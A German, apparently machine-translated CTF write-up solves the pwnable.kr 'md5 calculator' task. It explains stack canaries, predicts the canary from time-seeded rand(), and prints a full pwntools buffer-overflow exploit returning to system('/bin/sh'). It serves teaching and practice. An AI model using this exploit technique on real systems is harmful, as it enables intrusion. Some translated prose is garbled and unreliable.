In diesem Artikel lösen wir die 23. Aufgabe auf der Website
pwnable.kr , finden heraus, was Stack
Canary ist, und verbinden libc in Python.
OrganisationsinformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:
- PWN;
- Kryptographie (Krypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Kanal und eine
Gruppe eingerichtet, um alle Probleme im Bereich ICD
zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen
persönlich prüfen
und alle beantworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.
Kanarienvogel stapeln
Kanarienvögel sind bekannte Werte, die zwischen den Puffer- und Steuerdaten auf dem Stapel platziert werden, um Pufferüberläufe zu überwachen. Nach einem Pufferüberlauf sind die ersten Daten, die beschädigt werden, normalerweise Kanarienvögel. Somit wird der Wert des Kanarienvogels überprüft und, wenn die Überprüfung fehlschlägt, ein Pufferüberlauf signalisiert. Es gibt drei Arten von Kanarienvögeln:
- Terminator. Kanarienvögel bestehen aus Nullterminatoren, CR, LF und -1. Daher muss der Angreifer vor dem Schreiben der Absenderadresse ein Nullzeichen schreiben, um eine Änderung des Kanarienvogels zu vermeiden. Dies verhindert Angriffe mit strcpy () und anderen Methoden, die beim Kopieren eines Nullzeichens zurückgegeben werden, während das berüchtigte Ergebnis der Ruhm des Kanarienvogels ist.
- Zufällig Zufällig generiert. Normalerweise wird während der Programminitialisierung ein zufälliger Kanarienvogel generiert und in einer globalen Variablen gespeichert. Diese Variable wird normalerweise durch nicht zugeordnete Seiten ergänzt. Wenn Sie also versuchen, sie mit Tricks zu lesen, bei denen Fehler zum Lesen aus dem RAM verwendet werden, wird das Programm durch einen Segmentierungsfehler beendet.
- Zufälliges XOR. Zufällige Kanarienvögel, die sich mit Kontrolldaten streiten. Sobald die Kanarien- oder Kontrolldaten verstopft sind, ist der Wert des Kanarienvogels falsch. Sie haben die gleichen Schwachstellen wie zufällige Kanarienvögel, außer dass die Methode „Vom Stapel lesen“ zum Abrufen von Kanarienvögeln etwas komplizierter ist. Der Angreifer muss die Kanarienvogel-, Algorithmus- und Kontrolldaten empfangen, um den ursprünglichen Kanarienvogel zu regenerieren, der zum Fälschen des Schutzes erforderlich ist.
Lösung des md5-Rechnerjobs
Wir setzen den zweiten Abschnitt fort. Ich werde gleich sagen, dass es schwieriger ist als das erste und wir nicht mit dem Quellcode der Anwendungen versorgt werden. Vergessen Sie nicht die Diskussion
hier . Fangen wir an.
Klicken Sie auf das Symbol mit dem Signatur-MD5-Rechner. Wir erhalten die Adresse und den Anschluss für die Verbindung sowie das Programm selbst.

Laden Sie alles herunter, was sie uns geben, überprüfen Sie die Binärdatei.

Dies ist ein 32-Bit-Elf mit installiertem kanarischen und nicht ausführbaren Stapel. Wir dekompilieren in IDA Pro.

Das Programm verfügt über eine integrierte Captcha-Prüfung. Wir sehen zwei Funktionen, die interessante Funktionen sind: my_hash () und process_hash (). Beginnen wir mit dem ersten.

Definieren wir die Variablentypen neu und erleichtern das Parsen des Codes:

Somit gibt die Funktion eine Zufallszahl zurück. Gleichzeitig sind v3 die Daten an der Adresse EBP-0xC. Schauen wir uns eine andere Funktion an.

Hier erhält die Variable v4 den Wert an der Adresse EBP-0xC und streitet sich dann beim Verlassen der Funktion mit diesem Wert. Als nächstes werden der v3-Variablen 512 Bytes zugewiesen, die Tastatureingabe wird in die Variable g_buf eingelesen. Danach wird der String von g_buf in Base64 dekodiert und in v3 geschrieben. Aus v3 wird md5 Hash berechnet. Somit sind die Eingabe in g_buf und das Kopieren in v3 nicht beschränkt, daher gibt es einen Pufferüberlauf! Werfen wir einen Blick auf den Stapel.

Die Variable v3 ist der Stapelkanarienvogel, der sich hinter dem Puffer befindet. Das Programm ruft auch die Funktion von Systemen auf. Nun, wir erstellen eine Vorlage für einen Exploit.
from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive()
Schauen wir uns zunächst die Nutzlast an. Wir müssen die Systemfunktion mit dem Parameter "/ bin / sh" aufrufen. Da der Stack jedoch nicht ausführbar ist, rufen wir die Systemfunktion auf und übergeben die Steuerung an ihre Adresse im Programm und als Parameter die Adresse an die Zeile „/ bin / sh“, die wir in g_buf schreiben.
Also (siehe Stapel): Sie müssen 512 Bytes Müll schreiben, dann 4 Bytes des kanarischen Wertes, dann weitere 12 Bytes Müll. Für ret müssen wir nun die Adresse der Systemfunktion (4 Bytes), die Adresse der Zeichenfolge "/ bin / sh" (4 Bytes) und die Zeichenfolge "/ bin / sh" selbst angeben.
Suchen Sie nun die Unbekannten: die Systemaufrufadresse.

Dies ist 0x8049187. Und die Adresse der Zeichenfolge lautet "bin / sh". Dazu müssen wir die Anzahl der Bytes zur g_buf-Adresse in die Zeile „/ bin / sh“ einfügen und dabei die base64-Codierung berücksichtigen - dies ist 4/3 des ursprünglichen Werts.

Das heißt, die Adresse der Zeile: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3ac. Machen Sie die Nutzlast.
payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00"
Es bleibt der Kanarienvogel zu finden. Wie wir herausgefunden haben, summiert es sich mit zufälligen Werten in der Funktion my_hash (), was uns einen Kanarienvogel gibt. Und srand (Zeit (0)) wird als Startwert für die Rand-Funktion verwendet. Das heißt, wenn wir den Vorgang in unserem Exploit wiederholen und dann den generierten Wert vom gesendeten Cookie abziehen, finden wir den Kanarienvogel. Rufen Sie rand () von libc in Python auf.
from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff
Das ist alles. Der vollständige Code sieht so aus.
from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive()
Ich habe es mehrmals ausgeführt und es hat nicht funktioniert. Dann wurde mir klar, dass das Ergebnis von rand () aufgrund der Geschwindigkeit des Internets und des Zeitunterschieds nicht übereinstimmt. Auf dem Server gestartet.

Wir bekommen die gewünschte Flagge. Sie können sich uns
per Telegramm anschließen .